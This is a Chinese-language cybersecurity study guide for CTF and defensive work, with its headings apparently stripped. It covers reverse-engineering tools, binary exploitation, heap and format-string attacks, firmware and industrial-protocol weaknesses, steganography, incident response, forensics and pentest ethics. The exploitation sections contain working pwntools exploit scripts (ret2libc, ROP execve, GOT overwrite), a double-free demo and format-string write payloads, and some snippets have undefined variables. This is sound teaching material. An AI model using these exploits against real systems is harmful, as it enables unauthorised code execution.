| 工具 | 类型 | 特点 | 适用场景 |
|---|
| IDA Pro | 静态分析 | 业界标准,插件丰富 | 全面逆向分析 |
| Ghidra | 静态分析 | 开源免费,NSA 出品 | 学习/开源分析 |
| radare2 | 静态+动态 | 命令行,脚本化 | 自动化分析 |
| GDB | 动态调试 | Linux 标准调试器 | 运行时分析 |
| x64dbg | 动态调试 | Windows 调试器 | Windows 逆向 |
| Frida | 动态插桩 | 跨平台,Hook 框架 | 移动端/运行时 |
┌──────────────────────┐
│ ELF Header │ 魔数: 7f 45 4c 46
│ (文件类型/架构/入口) │
├──────────────────────┤
│ Program Headers │ 段加载信息
├──────────────────────┤
│ .text (代码段) │ 可执行指令
│ .data (数据段) │ 已初始化全局变量
│ .bss (BSS段) │ 未初始化全局变量
│ .rodata (只读数据) │ 常量/字符串
│ .plt/.got (动态链接) │ 延迟绑定表
├──────────────────────┤
│ Section Headers │ 节区信息
└──────────────────────┘
# 启动调试
gdb ./vuln_binary
# 基本命令
break main # 设置断点
run # 运行程序
step / next # 单步执行(进入/跳过函数)
continue # 继续执行
finish # 执行到函数返回
# 内存检查
x/20wx $esp # 查看栈内容(20个4字节十六进制)
x/s 0x8048000 # 查看字符串
info registers # 查看寄存器
info functions # 查看函数列表
# 高级功能
checksec ./vuln_binary # 检查安全机制
# NX/DEP: 栈不可执行
# ASLR: 地址随机化
# Stack Canary: 栈保护
# PIE: 位置无关可执行
# RELRO: 只读重定位
# Pattern 生成(确定偏移)
pattern create 200 # 生成 200 字节模式串
pattern offset 0x41366241 # 计算偏移量
高地址
┌──────────────────┐
│ 函数参数 │
├──────────────────┤
│ 返回地址 (EIP) │ ← 覆盖目标
├──────────────────┤
│ 旧 EBP │
├──────────────────┤
│ │
│ 局部变量 (缓冲区)│ ← 溢出起点
│ │
└──────────────────┘
低地址
溢出方向: 局部变量 → 旧 EBP → 返回地址 → 控制执行流
# pwntools 栈溢出利用
from pwn import *
# 设置目标
elf = ELF('./vuln')
p = process('./vuln')
# 确定偏移量
offset = 44 # 通过 pattern 确定
# 构造 payload
# 方法1: ret2shellcode(无 NX 保护时)
shellcode = asm(shellcraft.sh())
payload = b'A' * offset + p32(0x0804a060) # 返回到 shellcode 地址
payload = shellcode + b'A' * (offset - len(shellcode)) + p32(buf_addr)
# 方法2: ret2libc(有 NX 保护时)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
payload = b'A' * offset + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
# 发送 payload
p.sendline(payload)
p.interactive()
# ret2syscall(使用 ROP gadgets)
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
# 寻找 gadgets
# ROPgadget --binary ./vuln
# 0x0806f022: pop eax ; ret
# 0x080bb196: pop ebx ; ret
# 0x080492e3: int 0x80
pop_eax = 0x0806f022
pop_ebx = 0x080bb196
int_80 = 0x080492e3
# execve("/bin/sh", NULL, NULL)
payload = b'A' * offset
payload += p32(pop_eax) + p32(0x0b) # eax = 11 (execve)
payload += p32(pop_ebx) + p32(bin_sh) # ebx = "/bin/sh"
payload += p32(int_80) # 触发系统调用
p.sendline(payload)
p.interactive()
glibc ptmalloc2 堆管理:
Fast Bins: ≤ 0x80 字节(单链表 LIFO)
Small Bins: ≤ 0x400 字节(双链表 FIFO)
Large Bins: > 0x400 字节(按大小排序)
Unsorted Bin: 释放后先进入,分配时再分类
Chunk 结构:
┌──────────────────┐
│ prev_size │ (前一个 chunk 大小,若空闲)
├──────────────────┤
│ size | A|M|P │ (本 chunk 大小 + 标志位)
├──────────────────┤
│ fd (前向指针) │ (空闲时有效)
├──────────────────┤
│ bk (后向指针) │ (空闲时有效)
├──────────────────┤
│ 数据区 │
└──────────────────┘
| 技术 | 原理 | glibc 版本 |
|---|
| Fastbin Dup | Double Free 获取任意写 | < 2.26 |
| Unlink | 伪造 chunk 实现任意地址写 | < 2.28 |
| House of Force | 溢出修改 top chunk 大小 | < 2.29 |
| Tcache Poison | TCache 双重释放 | < 2.32 |
| House of Orange | 无 free 调用时的利用 | 多版本 |
| Largebin Attack | 大 bin 的 fd_nextsize 利用 | 多版本 |
// 漏洞代码: double free
#include <stdlib.h>
#include <string.h>
int main() {
char *a = malloc(0x20);
char *b = malloc(0x20);
free(a);
free(a); // Double Free! TCache 未检查
// 现在 TCache 链表: a → a (循环)
char *c = malloc(0x20);
// 修改 c 的 fd 指向目标地址
*(long*)c = 0x41414141;
malloc(0x20); // 返回 a
char *d = malloc(0x20); // 返回 0x41414141(任意地址写)
return 0;
}
// 危险代码
printf(user_input); // 用户输入作为格式化字符串
sprintf(buf, user_input); // 同样危险
// 安全代码
printf("%s", user_input);
# 信息泄露
%x %x %x %x # 泄露栈上的值(十六进制)
%p %p %p %p # 泄露指针值
%s # 读取指针指向的字符串(任意读)
# 任意地址写
%10$n # 将已输出字节数写入栈上第10个参数指向的地址
%100c%10$n # 写入值 100
%<offset>c%<pos>$n # 精确写入
from pwn import *
elf = ELF('./fmt_vuln')
p = process('./fmt_vuln')
# 确定偏移(格式化字符串在栈上的位置)
# 输入 AAAA|%p|%p|%p|... 找到 0x41414141
offset = 6 # 假设偏移为 6
# 任意写:修改 GOT 表项
target_addr = elf.got['printf'] # 要修改的目标地址
# 使用 fmtstr_payload 自动构造
payload = fmtstr_payload(offset, {target_addr: elf.symbols['system']})
p.sendline(payload)
| 攻击面 | 风险 | 工具 |
|---|
| 固件 | 硬编码凭证、后门 | binwalk、Firmadyne |
| Web 管理界面 | 默认密码、命令注入 | Burp Suite |
| 通信协议 | 明文传输、弱加密 | Wireshark |
| 移动 App | API 密钥泄露、不安全存储 | jadx、Frida |
| 硬件接口 | UART/JTAG 调试口暴露 | 逻辑分析仪 |
# 提取固件
binwalk firmware.bin # 分析固件结构
binwalk -e firmware.bin # 自动提取
# 分析提取的文件系统
squashfs-root/
├── bin/ # 二进制文件
├── etc/ # 配置文件
│ ├── passwd # 用户凭证
│ ├── shadow # 密码哈希
│ └── config # 设备配置
├── web/ # Web 管理界面
└── usr/bin/ # 用户程序
# 搜索硬编码凭证
grep -r "password" squashfs-root/etc/
grep -r "admin" squashfs-root/web/
find squashfs-root -name "*.cfg" -exec cat {} \;
| 协议 | 端口 | 安全问题 |
|---|
| Modbus TCP | 502 | 明文、无认证 |
| S7comm | 102 | 明文、无认证 |
| DNP3 | 20000 | 明文(可选认证) |
| OPC DA | 135 | DCOM 安全配置复杂 |
| IEC 104 | 2404 | 明文、无认证 |
1. 网络隔离: IT/OT 网络物理/逻辑隔离
2. 纵深防御: 防火墙 → DMZ → 工控防火墙 → PLC
3. 协议白名单: 仅允许合法工控协议和操作
4. 入侵检测: 工控专用 IDS 规则
5. 安全运维: 变更管理、补丁管理、备份恢复
| 类型 | 方法 | 检测工具 |
|---|
| LSB 隐写 | 修改最低有效位 | zsteg、StegSolve |
| 文件追加 | 在文件末尾追加数据 | binwalk、hex编辑器 |
| 元数据隐写 | EXIF/注释字段嵌入 | exiftool |
| 调色板隐写 | 修改调色板索引 | Stegsolve |
| 音频隐写 | DCT/DWT 域嵌入 | Audacity、SilentEye |
# 1. 文件类型识别
file mystery_file
xxd mystery_file | head -20
# 2. 元数据检查
exiftool mystery_file
# 3. 隐藏数据提取
binwalk -e mystery_file # 提取嵌入文件
zsteg mystery_file.png # PNG LSB 隐写检测
steghide extract -sf mystery.jpg # JPEG 隐写提取
# 4. 字符串搜索
strings mystery_file | grep -i flag
strings mystery_file | grep -i password
# 5. 对比分析(如有原始文件)
compare original.png modified.png diff.png
准备(Preparation) → 发现(Discovery) → 抑制(Containment) →
根除(Eradication) → 恢复(Recovery) → 总结(Follow-up)
# 1. 现场保护 — 避免破坏证据
# 不要重启系统!不要删除文件!
# 2. 证据固定
dd if=/dev/sda of=/evidence/disk_image.img bs=4M # 磁盘镜像
md5sum /evidence/disk_image.img > image.md5 # 完整性校验
# 3. 内存采集
# Linux
dd if=/dev/mem of=/evidence/memory.dump bs=1M
# 或使用 LiME
insmod lime.ko "path=/evidence/memory.lime format=lime"
# Windows
# 使用 WinPmem 或 DumpIt
# 4. 进程分析
ps auxf # 查看进程树
lsof -i -P -n # 查看网络连接
netstat -antp # 网络连接状态
ls -la /proc/[PID]/exe # 查看进程可执行文件
cat /proc/[PID]/cmdline # 查看进程命令行
# 5. 持久化后门排查
crontab -l # 计划任务
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-unit-files --state=enabled # 开机启动
cat ~/.bashrc ~/.bash_profile # Shell 初始化
cat /etc/rc.local # 启动脚本
# 登录日志
last -f /var/log/wtmp # 成功登录
lastb -f /var/log/btmp # 失败登录
grep "Failed password" /var/log/auth.log | awk '{print $11}' | \
sort | uniq -c | sort -rn | head # 暴力破解统计
# 系统日志
grep -i "error\|fail\|critical" /var/log/syslog
journalctl --since "2024-01-01" --until "2024-01-02" -p err
# Web 日志分析
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20 # IP 统计
grep "POST /login" access.log | grep " 401 " # 登录失败
grep "SELECT\|UNION\|DROP" access.log # SQL 注入尝试
grep "<script>\|alert(" access.log # XSS 尝试
# 安全日志 — 登录事件
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625} |
Select-Object TimeCreated, Message | Format-Table
# 统计登录失败 IP
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625} |
ForEach-Object { $_.Properties[5].Value } |
Group-Object | Sort-Object Count -Descending | Select-Object -First 10
# 进程创建事件
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} |
Select-Object TimeCreated, Message | Format-List
# 获取系统信息
vol.py -f memory.dump windows.info
# 进程列表
vol.py -f memory.dump windows.pslist
vol.py -f memory.dump windows.pstree # 进程树
vol.py -f memory.dump windows.psscan # 扫描隐藏进程
# 网络连接
vol.py -f memory.dump windows.netscan
# 提取可疑进程
vol.py -f memory.dump windows.memmap --pid 1234 --dump
# 注册表分析
vol.py -f memory.dump windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# 文件提取
vol.py -f memory.dump windows.filescan | grep ".doc"
vol.py -f memory.dump windows.dumpfiles --physaddr 0x3e4a5b60
# 创建取证镜像
dd if=/dev/sda of=evidence.img bs=4M conv=noerror,sync
# 或使用专业工具: FTK Imager、Guymager
# 镜像分析
mmls evidence.img # 查看分区表
fls -r -o 2048 evidence.img # 查看文件系统
icat -o 2048 evidence.img 12345 # 提取文件(按 inode 号)
# 恢复删除文件
foremost -i evidence.img -o recovered/ # 按文件头恢复
photorec evidence.img # 交互式恢复
# 时间线分析
fls -r -m / -o 2048 evidence.img > body.txt
mactime -b body.txt > timeline.csv
常用过滤语法:
ip.addr == 192.168.1.1 # IP 过滤
tcp.port == 80 # 端口过滤
http.request.method == "POST" # HTTP POST 请求
dns.qry.name contains "evil" # DNS 查询
tcp.flags.syn == 1 # SYN 包
frame.len > 1000 # 大包过滤
分析技巧:
1. 统计 → 对话 → 查看 IP 通信量排名
2. 统计 → 协议分级 → 查看协议分布
3. 跟随 → TCP 流 → 查看完整会话
4. 导出 → HTTP 对象 → 提取传输文件
# 抓包
tcpdump -i eth0 -w capture.pcap # 抓取所有流量
tcpdump -i eth0 host 192.168.1.1 # 指定主机
tcpdump -i eth0 port 80 # 指定端口
tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0' # SYN 包
# 读取分析
tcpdump -r capture.pcap -nn # 读取 pcap
tcpdump -r capture.pcap -A # ASCII 显示
tcpdump -r capture.pcap -X # 十六进制+ASCII
# 提取 HTTP 请求
tcpdump -r capture.pcap -A -s 0 | \
grep -i "GET\|POST\|Host\|Cookie"
| 类型 | 内容 | 推荐平台 |
|---|
| Web | SQL注入、XSS、代码审计 | CTFHub、BUUCTF |
| Pwn | 栈/堆溢出、ROP | pwnable.kr、BUUCTF |
| Reverse | 逆向分析、算法还原 | Reversing.kr |
| Crypto | 密码学攻击、RSA/AES | CryptoHack |
| Misc | 隐写、流量分析、取证 | CTFHub |
| Mobile | Android/iOS 逆向 | 看雪 CTF |
入门: CTFHub 技能树 → 掌握基础题型
进阶: BUUCTF 刷题 → 积累解题经验
实战: 参加线上 CTF 比赛 → 团队协作
提升: 复现真实漏洞 CVE → 深入理解原理
| 法律法规 | 施行日期 | 核心内容 |
|---|
| 《网络安全法》 | 2017-06-01 | 网络运营者安全义务 |
| 《数据安全法》 | 2021-09-01 | 数据分类分级、安全审查 |
| 《个人信息保护法》 | 2021-11-01 | 个人信息处理规则 |
| 《关键信息基础设施安全保护条例》 | 2021-09-01 | 关基设施保护要求 |
1. 必须获得书面授权(渗透测试授权书)
2. 明确测试范围、时间、限制条件
3. 不得超出授权范围进行测试
4. 发现重大漏洞及时报告,不得利用
5. 测试数据保密,不得泄露
6. 测试完成后清除所有测试痕迹
7. 出具正式报告,提出修复建议